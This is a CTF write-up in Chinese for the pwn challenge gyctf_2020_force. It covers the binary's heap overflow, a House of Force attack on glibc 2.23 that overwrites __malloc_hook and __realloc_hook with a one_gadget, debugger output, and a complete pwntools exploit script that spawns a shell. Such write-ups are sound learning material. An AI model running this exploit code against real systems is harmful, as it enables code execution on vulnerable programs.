0%

House Of Force-2.23-64

gyctf_2020_force

1
2
3
➜  [/home/ywhkkx/桌面] ./gyctf_2020_force 
1:add
2:puts
1
2
3
4
5
6
7
8
gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped

[*] '/home/ywhkkx/桌面/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO // 打不了GOT劫持
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 choice; // rax
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, data, 0xFuLL);
choice = atol(data);
if ( choice == 1 )
{
add();
}
else if ( choice == 2 )
{
puts_s();
}
}
}

标准堆模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&chunk_list; *i; ++i )
;
if ( (char *)i - (char *)&chunk_list > 39 )
exit(0);
puts("size");
read(0, data, 0xFuLL);
size = atol(data);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL); // 堆溢出
puts("done");
return __readfsqword(0x28u) ^ v4;
}

有一个溢出,输入“size”,读入“0x50”字节

1
2
3
4
5
6
7
8
unsigned __int64 puts_s()
{
unsigned __int64 carnay; // [rsp+8h] [rbp-8h]

carnay = __readfsqword(0x28u);
puts(&leak);
return __readfsqword(0x28u) ^ carnay;
}

只能利用这个函数打 leak

入侵思路

先利用 mmap 获取 libc_base:

1
2
3
4
chunk1=add(0x200000,'here')
libc_base=chunk1+0x200ff0
success('chunk1 >> '+hex(chunk1))
success('libc_base >> '+hex(libc_base))

修改“topchunk->size”为“0xffffffffffffffff”:

1
2
3
chunk2=add(0x20,'a'*40+p64(0xffffffffffffffff))
topchunk_addr=0x55e87208e290+48
success('topchunk_addr >> '+hex(topchunk_addr))
1
2
3
Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x55e87208e2c0
Size: 0xffffffffffffffff

计算 offset 分割 top chunk:

1
2
3
4
offset=malloc_hook-(topchunk_addr+0x10)-0x20
add(offset, 'kkk\n')
magic_addr=add(0x40, 'yhellow\n')
success('magic_addr >> '+hex(magic_addr))
1
2
3
4
5
6
7
8
[+] magic_addr >> 0x7f33a5420b00

pwndbg> telescope 0x7f33a5420b00
00:00000x7f33a5420b00 (__memalign_hook) ◂— 0xa776f6c6c656879 ('yhellow\n')
01:00080x7f33a5420b08 (__realloc_hook) —▸ 0x7f33a50e1a70 (realloc_hook_ini) ◂— push r15
02:00100x7f33a5420b10 (__malloc_hook) ◂— 0x0
03:00180x7f33a5420b18 ◂— 0x0
04:00200x7f33a5420b20 (main_arena) ◂— 0x100000000

注意:采用“offset=malloc_hook-(topchunk_addr+0x10)”(以前总结的规律),就会申请到“main_arena”,和预期“__malloc_hook”差了 0x10 字节,推测可能是那 1字节 的误差搞得鬼(也是以前总结的规律),这 1字节 导致 0x10字节 对齐的程序“进位”了(当然有时不会有反应)

我们需要劫持“realloc_hook”为“one_gadget”,劫持“malloc_hook”为“realloc_hook+0x10”,所以只要在原来 offset 的基础上减 0x20 就好了:

1
2
3
4
offset=malloc_hook-(topchunk_addr+0x10)-0x20
add(offset, 'kkk\n')
magic_addr=add(0x40, 'a'*8+p64(one_gadget_libc)+p64(realloc+0x10))
success('magic_addr >> '+hex(magic_addr))
1
2
3
4
5
6
pwndbg> telescope 0x7f4aa6c3ab00
00:00000x7f4aa6c3ab00 (__memalign_hook) ◂— 0x6161616161616161 ('aaaaaaaa')
01:00080x7f4aa6c3ab08 (__realloc_hook) —▸ 0x7f4aa68bb27a (do_system+1098) ◂— mov rax, qword ptr [rip + 0x37ec37]
02:00100x7f4aa6c3ab10 (__malloc_hook) —▸ 0x7f4aa68fa720 (realloc+16) ◂— sub rsp, 0x38
03:00180x7f4aa6c3ab18 ◂— 0x0
04:00200x7f4aa6c3ab20 (main_arena) ◂— 0x100000000

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*

p=process('./gyctf_2020_force')
elf=ELF('./gyctf_2020_force')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendline(str(1))
p.sendlineafter('size\n',str(size))
p.recvuntil('bin addr ')
heap_addr=eval(p.recvuntil('\n')[:-1])
success('heap_add >> '+hex(heap_addr))
p.sendafter('content\n',content)
return heap_addr

def put():
p.sendline(str(2))

onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

leak_offset=0xD93
chunk1=add(0x200000,'here')
libc_base=chunk1+0x200ff0
success('chunk1 >> '+hex(chunk1))
success('libc_base >> '+hex(libc_base))

chunk2=add(0x20,'a'*40+p64(0xffffffffffffffff))
topchunk_addr=chunk2+32
success('topchunk_addr >> '+hex(topchunk_addr))

malloc_hook=libc.sym['__malloc_hook']+libc_base
realloc=libc.sym["__libc_realloc"]+libc_base
one_gadget_libc=onegadget[1]+libc_base
success('malloc_hook >> '+hex(malloc_hook))
success('one_gadget_libc >> '+hex(one_gadget_libc))

offset=malloc_hook-(topchunk_addr+0x10)-0x20
add(offset, 'kkk\n')
magic_addr=add(0x40, 'a'*8+p64(one_gadget_libc)+p64(realloc+0x10))
success('magic_addr >> '+hex(magic_addr))

p.recvuntil("2:puts\n")
p.sendline('1')
p.recvuntil("size\n")
p.sendline(str(20))

p.interactive()

house of force 小结(2.23-64位)

通过本题目,我对 offset 的计算有了更深刻的理解,即使有时候 offse 有偏差也可以进行修正了

另外,我对 malloc_hook 的打法也有了新的认识:先劫持“realloc_hook”为“one_gadget”,后劫持“malloc_hook”为“realloc_hook+0x10”(不能直接劫持“malloc_hook”,目前不知道原因)

最后尝试了用 libc-2.27 来打 house of force,打不通,分析源码发现通不过检查(几乎打死了 house of force),得出结论:house of force 只能在 libc-2.23 中打(如果以后发现有大神可以绕过检查的话,就回来补充)